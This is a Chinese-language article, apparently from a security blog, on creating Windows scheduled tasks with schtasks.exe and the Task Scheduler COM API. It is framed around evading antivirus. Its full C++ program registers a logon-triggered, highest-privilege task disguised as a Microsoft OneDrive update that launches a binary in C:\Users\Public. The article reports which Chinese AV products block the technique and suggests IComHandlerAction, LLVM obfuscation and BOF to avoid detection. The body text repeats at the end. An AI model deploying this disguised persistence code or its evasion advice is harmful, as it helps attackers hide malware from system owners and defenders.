Windows任务计划及其COM组件
字数 1503 2025-11-24 12:16:05

Windows任务计划及其COM组件技术详解

一、前言

Windows系统下创建任务计划的主要方式有三种:

  • 任务计划的GUI界面
  • 任务计划的命令行工具schtasks.exe
  • Windows提供的API接口

本文将详细分析这三种方式,并重点介绍基于COM机制的任务计划API编程。掌握任务计划API编程不仅能够实现任务计划的自动化管理,还能深入理解Windows COM编程机制。

二、任务计划GUI界面操作

基本操作步骤

  1. 在运行对话框中输入taskschd.msc打开任务计划程序
  2. 点击右侧的"创建任务"选项
  3. 通过图形界面配置任务参数

这种方式适合手动操作,但不利于自动化部署。

三、任务计划命令行工具schtasks.exe

基本创建命令

schtasks.exe /create /sc daily /tn "Test Schedule" /tr "c:\windows\system32\notepad32.exe"

参数说明

  • /create:创建新任务
  • /sc:指定任务频率(daily、once、weekly、onlogon等)
  • /tn:任务名称
  • /tr:任务执行的程序路径

指定开始时间

schtasks.exe /create /sc daily /st 15:00 /tn "Test Schedule" /tr "c:\windows\system32\notepad32.exe"

远程主机创建任务

schtasks /s <hostname> /u <username> /p <password> /create /sc DAILY /tn "Test Schedule" /tr "c:\windows\system32\notepad.exe"

使用XML配置文件创建

schtasks /create /xml "Test Schedule.xml" /tn "Test Schedule"

任务计划成功创建后,系统会在c:\windows\system32\tasks\目录下生成对应的XML配置文件。

四、schtasks.exe免杀效果测试

测试环境及结果

  1. Windows 7 + 腾讯电脑管家

    • schtasks命令创建:成功
    • schtasks配置文件创建:成功
  2. Windows 2008 R2 + 火绒

    • schtasks命令创建:成功
    • schtasks配置文件创建:成功
  3. Windows 2012 + 360卫士 + 360杀毒

    • schtasks命令创建:失败
    • schtasks配置文件创建:失败

五、Windows API接口编程

COM(组件对象模型)基础

基本概念

COM是微软提出的二进制组件规范,允许不同语言、不同进程、甚至不同计算机之间的对象交互。其核心特点包括:

  1. 二进制接口标准:通过统一的vtable结构实现跨语言调用
  2. 接口隔离:不暴露类实现,仅通过接口访问
  3. 全局唯一标识:每个COM类都有CLSID标识

IUnknown接口

所有COM对象都必须实现的基础接口:

struct IUnknown {
    virtual HRESULT QueryInterface(REFIID riid, void** ppvObject) = 0;
    virtual ULONG AddRef() = 0;
    virtual ULONG Release() = 0;
};

COM对象创建流程

  1. 系统根据CLSID查找注册表HKEY_CLASSES_ROOT\CLSID\{CLSID}
  2. 加载对应的DLL或EXE文件
  3. 创建对象并返回接口指针

任务计划API编程实现

完整代码示例

#include <windows.h>
#include <taskschd.h>
#include <comdef.h>
#include <stdio.h>

#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsuppw.lib")

int CreateScheduledTask(LPCWSTR TaskAuthor, LPCWSTR TaskName, LPCWSTR wstrExePath) {
    HRESULT hr = S_OK;
    
    // 初始化COM库
    hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr)) {
        ::wprintf(L"[-] CoInitializeEx has failed\n");
        return 0;
    }
    
    // 设置COM安全级别
    hr = ::CoInitializeSecurity(
        NULL, -1, NULL, NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, 0, NULL);
    
    // 创建任务服务实例
    ITaskService* pService = NULL;
    hr = ::CoCreateInstance(
        CLSID_TaskScheduler,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ITaskService,
        (void**)&pService);
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] CoCreateInstance has failed\n");
        ::CoUninitialize();
        return 0;
    }
    
    // 连接到本地任务计划服务
    hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    if (FAILED(hr)) {
        ::wprintf(L"[-] ITaskService Connect has failed\n");
        pService->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 获取任务计划根目录
    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr)) {
        ::wprintf(L"[-] GetFolder has failed\n");
        pService->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 创建任务定义对象
    ITaskDefinition* pTask = NULL;
    hr = pService->NewTask(0, &pTask);
    pService->Release();
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] NewTask has failed\n");
        pRootFolder->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 设置任务注册信息
    IRegistrationInfo* pRegInfo = NULL;
    hr = pTask->get_RegistrationInfo(&pRegInfo);
    if (SUCCEEDED(hr)) {
        pRegInfo->put_Author(_bstr_t(TaskAuthor));
        pRegInfo->Release();
    }
    
    // 设置任务主体信息
    IPrincipal* pPrincipal = NULL;
    hr = pTask->get_Principal(&pPrincipal);
    if (SUCCEEDED(hr)) {
        pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
        pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
        pPrincipal->Release();
    }
    
    // 设置任务触发器(登录触发)
    ITriggerCollection* pTriggerCollection = NULL;
    hr = pTask->get_Triggers(&pTriggerCollection);
    if (FAILED(hr)) {
        ::wprintf(L"[-] get_Triggers has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    ITrigger* pTrigger = NULL;
    hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
    pTriggerCollection->Release();
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] Create trigger has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 配置登录触发器
    ILogonTrigger* pLogonTrigger = NULL;
    hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
    pTrigger->Release();
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] QueryInterface for ILogonTrigger has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 设置触发器ID
    hr = pLogonTrigger->put_Id(_bstr_t(L"LogonTriggerId"));
    
    // 设置触发用户(可选)
    WCHAR username[256];
    DWORD usernameLen = 256;
    if (GetUserNameW(username, &usernameLen)) {
        hr = pLogonTrigger->put_UserId(_bstr_t(username));
        if (SUCCEEDED(hr)) {
            ::wprintf(L"[+] Task will trigger on logon for user: %s\n", username);
        }
    }
    pLogonTrigger->Release();
    
    // 设置任务动作
    IActionCollection* pActionCollection = NULL;
    hr = pTask->get_Actions(&pActionCollection);
    if (FAILED(hr)) {
        ::wprintf(L"[-] get_Actions has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    IAction* pAction = NULL;
    hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
    pActionCollection->Release();
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] Create action has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    // 配置执行动作
    IExecAction* pExecAction = NULL;
    hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    pAction->Release();
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] QueryInterface action has failed\n");
        pRootFolder->Release();
        pTask->Release();
        ::CoUninitialize();
        return 0;
    }
    
    hr = pExecAction->put_Path(_bstr_t(wstrExePath));
    pExecAction->Release();
    
    // 注册任务
    IRegisteredTask* pRegisteredTask = NULL;
    hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t(TaskName),
        pTask,
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(L""),
        &pRegisteredTask);
    
    if (FAILED(hr)) {
        ::wprintf(L"[-] RegisterTaskDefinition has failed, error: 0x%08X\n", hr);
    } else {
        ::wprintf(L"[+] Scheduled task has been created\n");
        
        // 立即执行任务
        IRunningTask* pRunningTask = NULL;
        hr = pRegisteredTask->Run(_variant_t(), &pRunningTask);
        if (SUCCEEDED(hr)) {
            wprintf(L"[+] Task has been executed immediately\n");
            if (pRunningTask) pRunningTask->Release();
        }
    }
    
    // 释放资源
    if (pRootFolder) pRootFolder->Release();
    if (pTask) pTask->Release();
    if (pRegisteredTask) pRegisteredTask->Release();
    ::CoUninitialize();
    
    return 1;
}

int main() {
    WCHAR TaskAuthor[] = L"Microsoft Corporation";
    WCHAR TaskName[] = L"OneDrive Standalone Update Task-S-1-5-21-4162225321-4122752593-2322023677-001";
    WCHAR path[] = L"C:\\Users\\Public\\OneDrive.exe";
    
    DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, path);
    return 1;
}

关键编程步骤详解

1. COM库初始化

hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
hr = ::CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                           RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);

2. 创建任务服务实例

hr = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, 
                       IID_ITaskService, (void**)&pService);

3. 任务配置流程

  • 注册信息设置:设置任务创建者信息
  • 主体信息配置:设置运行权限和登录类型
  • 触发器设置:支持多种触发类型(登录、定时等)
  • 动作配置:支持执行程序、发送邮件等动作类型

4. 替代动作类型

除了IExecAction,还可以使用IComHandlerAction作为AV/EDR躲避的替代方案。

免杀效果测试

测试环境:Windows 2012 + 360卫士 + 360杀毒

结果分析

  • 静态查杀:文件落地被检测
  • 行为检测:添加任务计划动作不被拦截
  • 解决方案:通过LLVM混淆、BOF等技术绕过静态检测

六、技术要点总结

  1. COM编程核心:掌握IUnknown接口和QueryInterface机制
  2. 任务计划API关键:理解任务定义、触发器、动作的配置流程
  3. 免杀考虑:静态检测可通过代码混淆解决,行为检测需关注API调用方式
  4. 扩展应用:COM机制可应用于其他Windows组件编程

通过深入理解任务计划COM组件的编程方式,可以灵活实现各种自动化任务管理需求,并为其他Windows COM组件编程打下坚实基础。

Windows任务计划及其COM组件技术详解 一、前言 Windows系统下创建任务计划的主要方式有三种: 任务计划的GUI界面 任务计划的命令行工具schtasks.exe Windows提供的API接口 本文将详细分析这三种方式,并重点介绍基于COM机制的任务计划API编程。掌握任务计划API编程不仅能够实现任务计划的自动化管理,还能深入理解Windows COM编程机制。 二、任务计划GUI界面操作 基本操作步骤 在运行对话框中输入 taskschd.msc 打开任务计划程序 点击右侧的"创建任务"选项 通过图形界面配置任务参数 这种方式适合手动操作,但不利于自动化部署。 三、任务计划命令行工具schtasks.exe 基本创建命令 参数说明 /create :创建新任务 /sc :指定任务频率(daily、once、weekly、onlogon等) /tn :任务名称 /tr :任务执行的程序路径 指定开始时间 远程主机创建任务 使用XML配置文件创建 任务计划成功创建后,系统会在 c:\windows\system32\tasks\ 目录下生成对应的XML配置文件。 四、schtasks.exe免杀效果测试 测试环境及结果 Windows 7 + 腾讯电脑管家 schtasks命令创建:成功 schtasks配置文件创建:成功 Windows 2008 R2 + 火绒 schtasks命令创建:成功 schtasks配置文件创建:成功 Windows 2012 + 360卫士 + 360杀毒 schtasks命令创建:失败 schtasks配置文件创建:失败 五、Windows API接口编程 COM(组件对象模型)基础 基本概念 COM是微软提出的二进制组件规范,允许不同语言、不同进程、甚至不同计算机之间的对象交互。其核心特点包括: 二进制接口标准 :通过统一的vtable结构实现跨语言调用 接口隔离 :不暴露类实现,仅通过接口访问 全局唯一标识 :每个COM类都有CLSID标识 IUnknown接口 所有COM对象都必须实现的基础接口: COM对象创建流程 系统根据CLSID查找注册表 HKEY_CLASSES_ROOT\CLSID\{CLSID} 加载对应的DLL或EXE文件 创建对象并返回接口指针 任务计划API编程实现 完整代码示例 关键编程步骤详解 1. COM库初始化 2. 创建任务服务实例 3. 任务配置流程 注册信息设置 :设置任务创建者信息 主体信息配置 :设置运行权限和登录类型 触发器设置 :支持多种触发类型(登录、定时等) 动作配置 :支持执行程序、发送邮件等动作类型 4. 替代动作类型 除了 IExecAction ,还可以使用 IComHandlerAction 作为AV/EDR躲避的替代方案。 免杀效果测试 测试环境 :Windows 2012 + 360卫士 + 360杀毒 结果分析 : 静态查杀:文件落地被检测 行为检测:添加任务计划动作不被拦截 解决方案:通过LLVM混淆、BOF等技术绕过静态检测 六、技术要点总结 COM编程核心 :掌握IUnknown接口和QueryInterface机制 任务计划API关键 :理解任务定义、触发器、动作的配置流程 免杀考虑 :静态检测可通过代码混淆解决,行为检测需关注API调用方式 扩展应用 :COM机制可应用于其他Windows组件编程 通过深入理解任务计划COM组件的编程方式,可以灵活实现各种自动化任务管理需求,并为其他Windows COM组件编程打下坚实基础。